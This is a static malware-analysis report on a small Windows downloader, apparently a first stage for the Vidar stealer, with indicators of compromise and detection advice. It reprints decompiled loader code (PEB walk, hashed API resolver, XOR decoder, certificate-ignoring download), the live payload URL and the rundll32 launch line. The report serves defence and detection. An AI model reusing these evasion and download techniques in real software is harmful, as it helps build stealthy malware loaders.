0. Preface
This sample arrived in a folder named vidar-sample. It is not Vidar. It contains no credential access, no browser or wallet enumeration, no exfiltration protocol, and no configuration blob — none of the machinery that makes a stealer a stealer. It is a 25 KB downloader whose entire job is to fetch one DLL and hand it to rundll32.exe.
The label is probably not wrong so much as one step early. Vidar is routinely delivered by exactly this kind of first stage, and the DLL this thing pulls down is a plausible place for it to live. But that DLL was not available for analysis, so the attribution stays open. Everything below describes the stager, and nothing below should be read as a claim about the payload.
Two other Vidar samples have been covered here: the ClickFix ‘softmix-online’ delivery chain and a 3.1 build with API hashing and an Epic Games dead drop. This one shares a technique or two with the latter — a PEB walk, a hashed API resolver, WINHTTP_OPTION_SECURITY_FLAGS = 0x3300 — but at a fraction of the size and with none of the ambition.
Everything below is static analysis. The sample was never executed and no request was made to zewaplus.club. Decompilation was done with kuna driven from the shell, cross-checked against objdump disassembly wherever a constant mattered.
1. Sample Information
- Original file name:
9ca87fc03f5d7557fabd93aefcd5883592939b9148de6711efede0e719d5c976.exe - File type: executable, 64-bit (PE32+), GUI subsystem
- File size: 25088 bytes (0.025088 MB)
- Hash values:
- MD5: e7426addd9d97c91bd23becaa9962cb0
- SHA1: d78b7c907830234940621dc2017025036fda9360
- SHA256: 9ca87fc03f5d7557fabd93aefcd5883592939b9148de6711efede0e719d5c976
- Compiler: Microsoft Visual C/C++ 19.50.35226, linker 14.50.35226 (Visual Studio 2026)
- Compile Timestamp: Thu Jul 23 03:35:52 2026
- Packing/Obfuscation: Not packed. Obfuscated post-compilation (junk arithmetic, decoy imports, XOR strings, API hashing)
- File Entropy Details:
| Sections | Entropy |
|---|---|
| .text | 5.97 |
| .rdata | 4.62 |
| .data | 3.39 |
| .pdata | 2.89 |
Whole-file entropy is 5.65 and no section approaches 7.0. There is no overlay and no appended data. The GUI subsystem is worth flagging early: this binary has no main and shows no console window, but it also creates no window — the subsystem is set purely so that nothing appears on screen when it runs.
2. PE File Structure
- Sections overview:
| Sections | Virtual Size | Raw Size |
|---|---|---|
| .text | 15894 | 16384 |
| .rdata | 5660 | 6144 |
| .data | 936 | 1024 |
| .pdata | 348 | 512 |
Four sections, no .reloc, no .rsrc. Virtual and raw sizes track each other closely throughout, which is the ordinary shape of an unpacked binary and the opposite of what a runtime-unpacking stub looks like.
Only four data directories are populated: import, exception, debug, and IAT. Notably absent are the export directory (this is an EXE), the resource directory, the security directory — the file is unsigned — and the base relocation directory. That last one is a small oddity: DllCharacteristics is 0x8160, which sets DYNAMIC_BASE, but with no relocation table the loader cannot actually rebase the image. It changes nothing about the behaviour; it is just untidy.
- Suspicious Imports:
KERNEL32.dll:GetTempPathA,Sleep,GetCurrentProcessId,ExitProcess,GetCurrentThreadId,GlobalMemoryStatusEx,GetVersion,GetTickCount,GetSystemDirectoryA,GetWindowsDirectoryA,lstrcpyA,lstrcatA,lstrlenA,GetComputerNameASHLWAPI.dll:StrCmpNAWINMM.dll:timeGetTime
- Exports:
- (none — this is an EXE)
- Certificate:
- Unsigned
Sixteen imports across three DLLs. Read at face value that import table describes a program that reads the temp path, checks memory and OS version, gets the computer name, and does some string handling — a plausible-looking installer. Section 3.1 shows that fifteen of those sixteen do nothing at all.
The .pdata section holds 29 RUNTIME_FUNCTION entries, and kuna recovers 19 real functions plus imports — a sane ratio for 16 KB of code, and enough to say up front that nothing is hidden behind indirect calls.
An instruction histogram over the 3,935 instructions in .text shows where the obfuscation went:
| Instruction | Count |
|---|---|
| mov | 1342 |
| movzx | 336 |
| xor | 322 |
| lea | 181 |
| call | 161 |
| add | 156 |
| int3 | 124 |
| inc | 77 |
322 xor and 336 movzx against 161 call is not a program that does much XOR-ing. It is a program with byte-sized junk arithmetic wedged between its real instructions, which is exactly what the decompilation shows.
The only readable ASCII string of any interest in the whole file is layout-shared.log. A strings -el pass for UTF-16 returns nothing. Both facts are addressed in 3.1 and 3.3.
3. Code and Disassembly Observation
The entry point at 0x140004710 is two instructions into 0x140003DB0, and that function is the entire program. Every failure branch in it converges on the same three steps: free the buffer, schedule self-deletion, ExitProcess(1).
3.1 The import table is a decoy
Fifteen of the sixteen imports are called for appearance only. The pattern is consistent — call a real API, then test its result against a value it can never return:
if (GetTempPathA(0x104, buf) == 0x74e38e01) buf[0] = '?'; // never true
if (memStatus.dwLength == 0x57c2dabb) Sleep(0); // never true
if (GetVersion() == 't') Sleep(0); // never true
if ((GetCurrentProcessId() & 0xf) == 0xe) Sleep(0); // near-never
dat_1400072e0 = StrCmpNA("a","a",0) ^ timeGetTime(); // result never read
GetComputerNameA and GetWindowsDirectoryA get the same treatment — called, result compared against a constant, result discarded. ExitProcess is the only import in the file that does real work.
The layout-shared.log string belongs to this same theatre. The sample builds layout-shared.log.tmp in a stack buffer with lstrcpyA/lstrcatA, measures it with lstrlenA, and then immediately overwrites the buffer with a GlobalMemoryStatusEx call. That filename never reaches disk. It is not an IOC, and anyone hunting on it will be hunting for something the program cannot produce.
This matters for triage order. Import-table triage is the cheapest first move on a PE, and here it is engineered to waste that move: there is no network API, no crypto, no VirtualAlloc, no LoadLibrary. The real API set — 24 functions — is resolved at runtime and appears nowhere in the file.
3.2 Finding kernel32 without the loader API
The resolver bootstraps out of the TEB. sub_1400039A0 reads gs:[0x30], and sub_1400017FC walks from there:
unsigned long long sub_1400017fc(int a0)
{
v10 = sub_1400039a0(); // TEB
if (v10) {
if ((*(long long *)(v10 + 0x60)) && // TEB->ProcessEnvironmentBlock
(v10 = *(long long *)(*(long long *)(v10 + 0x60) + 0x18), v10)) { // PEB->Ldr
v1 = (unsigned long long *)(v10 + 0x20); // InMemoryOrderModuleList
for (v13 = (unsigned long long *)*v1; (v13 && (v13 != v1)); v13 = (unsigned long long *)*v13) {
if ((v13[10]) && // BaseDllName.Buffer
((v13[4] && (v5 = v13[10], sub_140003a00(v5) == a0))))
return v13[4]; // DllBase
}
}
}
return 0;
}
It is called once, with 0x4B318061. A companion function, sub_140004AF0, parses a module’s export directory by hand and matches export names against a hash the same way, handling the ordinal table correctly but not bothering with forwarded exports.
Both use the same hash, and it is short enough to lift whole:
unsigned int sub_140003a00(short *a0) // wide, for module names
{
v4 = 0xdabe6d65;
while (v2) {
v3 = v2 + 0x20;
if (0x1a <= (unsigned short)(v2 - 0x41U)) // lowercase A-Z only
v3 = v2;
v4 = v4 * 0x21 + (unsigned char)v3;
...
}
return v4 ^ 0x8dd756b4;
}
That is a djb2 variant: seed 0xDABE6D65 instead of 5381, multiplier 0x21 (33, the standard one), and a final ^ 0x8DD756B4. Module names are lowercased and read as UTF-16; export names go through sub_140002E7C, which is the same loop over bytes with no case folding.
Recomputing it confirms all three constants in the file:
def h(name, lower=False):
v = 0xDABE6D65
for ch in name:
c = ord(ch)
if lower and 0x41 <= c <= 0x5A:
c += 0x20
v = (v * 0x21 + c) & 0xFFFFFFFF
return v ^ 0x8DD756B4
h("kernel32.dll", lower=True) # 0x4B318061
h("LoadLibraryA") # 0x3BB28FEF
h("GetProcAddress") # 0xEB246DCB
Only those three go through the hash path. Once LoadLibraryA and GetProcAddress are in hand, everything else is resolved conventionally — by name, from strings decrypted a moment before the call. The hashing exists to get the loader API without importing it, not to protect the other 22 names.
Compared to the 3.1 build’s FNV-1a with swapped constants and 189 resolved hashes, this is a much smaller commitment to the technique. The three constants are still distinctive enough to hunt on across a corpus.
3.3 One XOR key, and a URL stored out of order
Every string in the file is encrypted with a single-byte XOR key of 0xCA, decoded onto the stack by one routine:
void sub_140002c70(unsigned char *dst, long long src, unsigned int len, unsigned char key)
{
if (len) {
do {
*dst = src[i] ^ key;
...
} while (--len);
}
dst[len] = 0;
}
The key is passed as an argument at every call site, which is why 0xCA shows up as a literal all over the decompilation — including in places kuna renders as CONCAT71(..., 0xca) where the byte is just riding along in a register.
XOR-ing .data with 0xCA recovers the whole API-name table in one pass — winhttp.dll, WinHttpOpen, CreateFileA, MoveFileExA, rundll32.exe, schtasks.exe, and the rest. .rdata, however, comes out as this:
BrythonHoldings\.club/files/telehttps://zewaplusmetriawork/telep
That is not a decryption failure. The C2 URL is stored as six 8-byte chunks that are copied onto the stack in a different order than they sit in the file, so a linear decrypt-and-scan interleaves them. Reassembly order is fixed by the stack layout of the locals, not by any runtime logic:
| Offset | Decrypted chunk | Consumed |
|---|---|---|
| 0x1400050D0 | .club/fi | 3rd |
| 0x1400050D8 | les/tele | 4th |
| 0x1400050E0 | https:// | 1st |
| 0x1400050E8 | zewaplus | 2nd |
| 0x1400050F0 | metriawo | 5th |
| 0x1400050F8 | rk/telep | 6th |
Put back in the right order, with a trailing uz.dll supplied by two immediate values in code rather than from .rdata, the 54-byte string is:
https://zewaplus.club/files/telemetriawork/telepuz.dll
Two shorter strings are built the same way, entirely from immediates: BrythonHoldings\Outbox\Index (28 bytes) and wfsenvoy.dll (12 bytes).
3.4 Fetching the payload with certificate checks disabled
sub_140001A80 loads winhttp.dll and resolves ten functions from it, then parses the URL by hand — no WinHttpCrackUrl. The parser checks for http, then for a following s, and branches:
if (v22 == 0x73) { // 's' in "https"
v27 = 0x1bb; // port 443
v3 = 0x800000; // WINHTTP_FLAG_SECURE
} else {
v27 = 0x50; // port 80
v3 = 0;
}
It then skips ://, copies the host up to / or :, parses an explicit port if one is present, and takes the remainder as the path (defaulting to /).
The request itself is ordinary — WinHttpOpen, WinHttpConnect, WinHttpOpenRequest with a wide GET built from immediates — except for one call on the HTTPS path:
140002130: mov DWORD PTR [rbp+0x1148], 0x3300
140002149: lea r8, [rbp+0x1148] ; buffer
140002150: lea edx, [r15+0x1f] ; dwOption = 31, SECURITY_FLAGS
140002154: call r13 ; WinHttpSetOption
0x3300 is SECURITY_FLAG_IGNORE_UNKNOWN_CA | IGNORE_CERT_WRONG_USAGE | IGNORE_CERT_CN_INVALID | IGNORE_CERT_DATE_INVALID. All certificate validation is off. The same constant appears in the 3.1 build; it is common enough in commodity loaders that it is worth treating as a family-agnostic tell rather than an attribution signal.
Sizing comes from the response headers:
(*v69)(v12, 0x20000005, 0, v25, ...); // WinHttpQueryHeaders,
// CONTENT_LENGTH | FLAG_NUMBER
if (v25[0] <= 0xff) {
v25[0] = 0x400000; // fall back to 4 MB
}
v13 = (*dat_140007300)(0, v4, 0x3000, 4); // VirtualAlloc RW
WinHttpReadData then loops until the buffer is full. A response of 256 bytes or fewer is discarded and the program exits — so a C2 that is down, or that returns an error page, produces no file on disk.
One detail worth carrying into detection: WinHttpOpen is called with a null agent string, so requests go out with no User-Agent header at all. That is unusual enough to hunt on at a proxy, and it is a sharper indicator than the domain.
3.5 The drop path and the MZ check
The destination is assembled from %ProgramData%, resolved with a fallback:
(*dat_140007350)(0, 0x23, 0, 0, v43); // SHGetFolderPathA, CSIDL_COMMON_APPDATA
if (!v33[0]) {
if (dat_140007378) {
v31 = 0x446d6172676f7250; // "ProgramD"
v45 = 0x617461; // "ata"
(*dat_140007378)(&v31, v33, 0x104); // GetEnvironmentVariableA
}
}
The nested directory is then created a level at a time — the code walks the joined path, and at every backslash it temporarily NUL-terminates the string, calls CreateDirectoryA, and puts the backslash back:
while (v12) {
if (v21 == '\\') {
*v25 = 0;
(*dat_140007338)(v35, 0); // CreateDirectoryA on the partial path
*v25 = 0x5c;
}
v25 = &v25[1];
...
}
The result is C:\ProgramData\BrythonHoldings\Outbox\Index\, and the payload lands in it as wfsenvoy.dll via CreateFileA(GENERIC_WRITE, CREATE_ALWAYS) and WriteFile.
Only after the file is written does the sample check whether it received a PE — and it does that without ever putting 0x5A4D in the binary:
140004602: movzx eax, BYTE PTR [rdi] ; payload[0]
14000460b: movzx eax, BYTE PTR [rdi+0x1] ; payload[1]
14000461b: movzx eax, WORD PTR [rbp+0xbc0]
140004622: mov ecx, 0xd2df
140004627: xor ax, cx
14000462a: mov ecx, 0x8892
14000462f: cmp ax, cx ; 0x8892 ^ 0xD2DF = 0x5A4D
140004632: je 0x140004671
If the magic does not match, the file is deleted and the program exits. Because the write happens first, a failed run still leaves a file-create/file-delete pair in EDR telemetry — which is a useful thing to know when the disk looks clean.
3.6 Twenty-nine seconds, without calling Sleep
Between verifying the payload and launching it, the sample stalls. It does not use the Sleep it imported:
void sub_140004780(int ms)
{
if (((dat_140007358) && (dat_140007360)) && (dat_140007368)) {
v12 = (*dat_140007358)(0, 1, 0); // CreateWaitableTimerA
if (v12) {
v16 = (long long)ms * -10000; // relative, 100ns units
v4 = (*dat_140007360)(v12, &due, 0, 0, 0, 0, ...); // SetWaitableTimer
if (v4)
(*dat_140007368)(v12, 0xffffffff); // WaitForSingleObject INFINITE
(*dat_1400072f8)(v12);
return;
}
}
if (dat_140007368)
(*dat_140007368)(0xffffffffffffffff, ms); // fallback
}
The call site passes 0x7365 — 29,541 ms, a little under thirty seconds. Sandboxes that hook or accelerate Sleep do not necessarily do the same for waitable timers, and plenty of automated runs finish their observation window before the payload ever launches. That the imported Sleep is used only in decoy calls, while the real delay goes through a dynamically resolved timer, looks deliberate.
3.7 Execution through rundll32 at PrintUIEntry
sub_140002490 builds the command line. The path to rundll32.exe comes from GetSystemDirectoryA plus a decrypted rundll32.exe, with a bare filename as fallback. The export name is decrypted from two immediates — 0x8F839FBEA4A3B89A and 0xB3B8BEA4, which XOR to PrintUIEntry.
The pieces are concatenated by hand with lstrlenA and a byte-copy helper, producing:
C:\Windows\System32\rundll32.exe "C:\ProgramData\BrythonHoldings\Outbox\Index\wfsenvoy.dll",PrintUIEntry
CreateProcessA launches it and the stager then blocks on WaitForSingleObject until the child exits. A ShellExecuteExA variant exists in the same function, gated on a flag — but the only call site in the program passes 0, so the CreateProcessA path is always the one taken.
PrintUIEntry is the genuine export that printui.dll exposes for printer administration, and it is a long-standing choice for this kind of masquerade: a rundll32 command line ending in ,PrintUIEntry reads as routine printer work at a glance. It is also the single best detection opportunity in the sample, because the DLL being loaded is not printui.dll and is not in System32.
3.8 Self-deletion on reboot
sub_140003B7C runs on every exit path — success and failure alike:
(*dat_140007328)(0, v10, 0x104); // GetModuleFileNameA(NULL, buf, MAX_PATH)
(*dat_140007320)(v10, 0, 4); // MoveFileExA(buf, NULL, MOVEFILE_DELAY_UNTIL_REBOOT)
MoveFileExA with a null destination and MOVEFILE_DELAY_UNTIL_REBOOT is the documented way to delete a running executable. The mechanism is a registry write: the pending rename is queued in PendingFileRenameOperations under HKLM\SYSTEM\CurrentControlSet\Control\Session Manager, where it sits until the machine reboots. That value — an entry whose destination is empty, pointing at a binary that ran recently — is a durable host artifact and outlasts the file itself.
3.9 Code that never runs
Three capabilities are present in the build but unreachable, which is the kind of thing that says more about the codebase than about this sample.
Cross-referencing every RIP-relative target in the disassembly against the .data name table:
| Artifact | Address | State |
|---|---|---|
schtasks.exe | 0x140007280 | string present, zero cross-references |
GetLocalTime | 0x140007370 | resolved; only reference is the store itself |
GetExitCodeProcess | 0x140007390 | resolved; only reference is the store itself |
ShellExecuteExA | 0x140007380 | resolved and reachable, but never selected |
schtasks.exe is never even decrypted — the string sits in .data and nothing points at it. Together with two resolved-but-uncalled time and process-status APIs, that reads as a scheduled-task persistence path that exists in the family’s source and is compiled out of this configuration. A sibling sample built with it switched on is a reasonable thing to hunt for, and it would change the host footprint substantially: this build leaves nothing behind but the dropped DLL.
4. Malware Capabilities
- Defense Evasion:
- Decoy import table — 15 of 16 imports called only to have their results compared against impossible constants and discarded;
ExitProcessis the only functional import - Decoy filename
layout-shared.log.tmpconstructed on the stack and immediately overwritten; never written to disk - All 24 working APIs resolved at runtime; none appear in the import table or in a strings dump
kernel32.dlllocated by walkingPEB->Ldr->InMemoryOrderModuleListand hashing base names — noGetModuleHandle/LoadLibrarycall to hookLoadLibraryAandGetProcAddressresolved by hashed export-table walk (djb2 variant, seed0xDABE6D65, multiplier0x21, final XOR0x8DD756B4)- All strings XOR-
0xCA; the C2 URL additionally stored as six chunks consumed out of file order MZmagic comparison masked asx ^ 0xD2DF == 0x8892so the constant never appears- Junk byte-arithmetic interleaved throughout — 322
xorand 336movzxagainst 161callin 3,935 instructions rdtscat 24 sites and 52gs:segment reads, folded into four globals that are never subsequently read — noise that resembles timing and PEB checks without being either- GUI subsystem so no console window appears
- No debugger checks, VM fingerprinting, CPUID probes or analysis-tool detection of any kind
- Decoy import table — 15 of 16 imports called only to have their results compared against impossible constants and discarded;
- Discovery:
SHGetFolderPathA(CSIDL_COMMON_APPDATA)with aGetEnvironmentVariableA("ProgramData")fallbackGetSystemDirectoryAto locaterundll32.exe- Nothing else — no host survey, no user enumeration, no AV check
- Command and Control:
- Single WinHTTP
GETtohttps://zewaplus.club/files/telemetriawork/telepuz.dll - Hand-rolled URL parser; port and
WINHTTP_FLAG_SECUREselected from the scheme - Null
User-Agent—WinHttpOpenreceives no agent string - Accepts any TLS certificate (
WINHTTP_OPTION_SECURITY_FLAGS = 0x3300) - Allocation sized from
Content-Length, falling back to 4 MB; responses of ≤256 bytes discarded - No beacon, no check-in, no exfiltration — the connection is one-way and one-shot
- Single WinHTTP
- Execution:
- Payload written to
C:\ProgramData\BrythonHoldings\Outbox\Index\wfsenvoy.dll, directories created one component at a time - PE magic verified before launch; a non-PE response is written, then deleted
- ~29.5 s stall via
CreateWaitableTimerA/SetWaitableTimer/WaitForSingleObject, bypassingSleeppatching - Launched with
CreateProcessAasrundll32.exe "<dll>",PrintUIEntry; the stager waits for the child to exit
- Payload written to
- Persistence:
- None for itself. The stager schedules its own deletion on every exit path via
MoveFileExA(self, NULL, MOVEFILE_DELAY_UNTIL_REBOOT) - Any persistence belongs to the downloaded DLL. The
schtasks.exestring in.datais never referenced (see 3.9)
- None for itself. The stager schedules its own deletion on every exit path via
The shape here is a courier, not a resident. It runs once, hands off, and removes itself — which means host triage after a reboot may find only the dropped DLL and a rundll32 process tree, with the thing that put them there already gone.
5. Indicators of Compromise
| Type | Value |
|---|---|
| SHA256 | 9ca87fc03f5d7557fabd93aefcd5883592939b9148de6711efede0e719d5c976 |
| SHA1 | d78b7c907830234940621dc2017025036fda9360 |
| MD5 | e7426addd9d97c91bd23becaa9962cb0 |
| Payload URL | https://zewaplus.club/files/telemetriawork/telepuz.dll |
| C2 host | zewaplus.club (TCP/443) |
| Dropped file | C:\ProgramData\BrythonHoldings\Outbox\Index\wfsenvoy.dll |
| Drop directory | %ProgramData%\BrythonHoldings\Outbox\Index |
| Child process | rundll32.exe "…\wfsenvoy.dll",PrintUIEntry |
| Registry artifact | PendingFileRenameOperations entry with empty destination (self-delete) |
| String XOR key | 0xCA |
| API hash algorithm | djb2 variant, seed 0xDABE6D65, multiplier 0x21, final XOR 0x8DD756B4 |
| Module/API hashes | 0x4B318061 (kernel32.dll), 0x3BB28FEF (LoadLibraryA), 0xEB246DCB (GetProcAddress) |
| HTTP tell | empty User-Agent header |
| Not an IOC | layout-shared.log.tmp — decoy, never written |
On hunting priority: the domain is the weakest of these, because it costs nothing to change. The durable ones are behavioural — rundll32.exe loading a DLL from %ProgramData% at export PrintUIEntry, a PendingFileRenameOperations entry pointing at a recently-executed binary, and an outbound TLS request carrying no User-Agent. Any one of those is worth an alert; the combination is close to unambiguous.
6. Analysis Limitations
Three things could not be settled from the file, and it is worth separating what is a property of the sample from what is a gap in the analysis:
- The payload is not in the binary.
telepuz.dllis fetched at runtime and nothing about its contents is recoverable statically. This is the whole reason the Vidar attribution stays open: the stager carries no Vidar code, no configuration, and no family markers. Retrieving that DLL from a controlled network position would settle it in one request — no detonation required. When analysing it, note that it is loaded throughrundll32atPrintUIEntry, so that export is where its real logic begins, notDllMain. - The compile timestamp is unverified.
Thu Jul 23 03:35:52 2026is consistent with the Visual Studio 2026 toolchain the linker version reports, but timestamps are trivially forged and this one should not carry weight on its own. - Whether
zewaplus.clubis currently serving is unknown, since no request was made. The URL parser and the ≤256-byte rejection mean a dead or error-returning C2 produces no file on disk at all — so a host that ran this sample after takedown would show therundll32launch never happening, and only thePendingFileRenameOperationsentry as evidence it ran.
One reading stated above is static rather than observed: the claim that CreateProcessA is always chosen over ShellExecuteExA rests on the single call site passing 0 for the selector argument. That is unambiguous in the disassembly, but it is a claim about this build only — the alternate branch is fully formed and would be reached by a build that passes 1.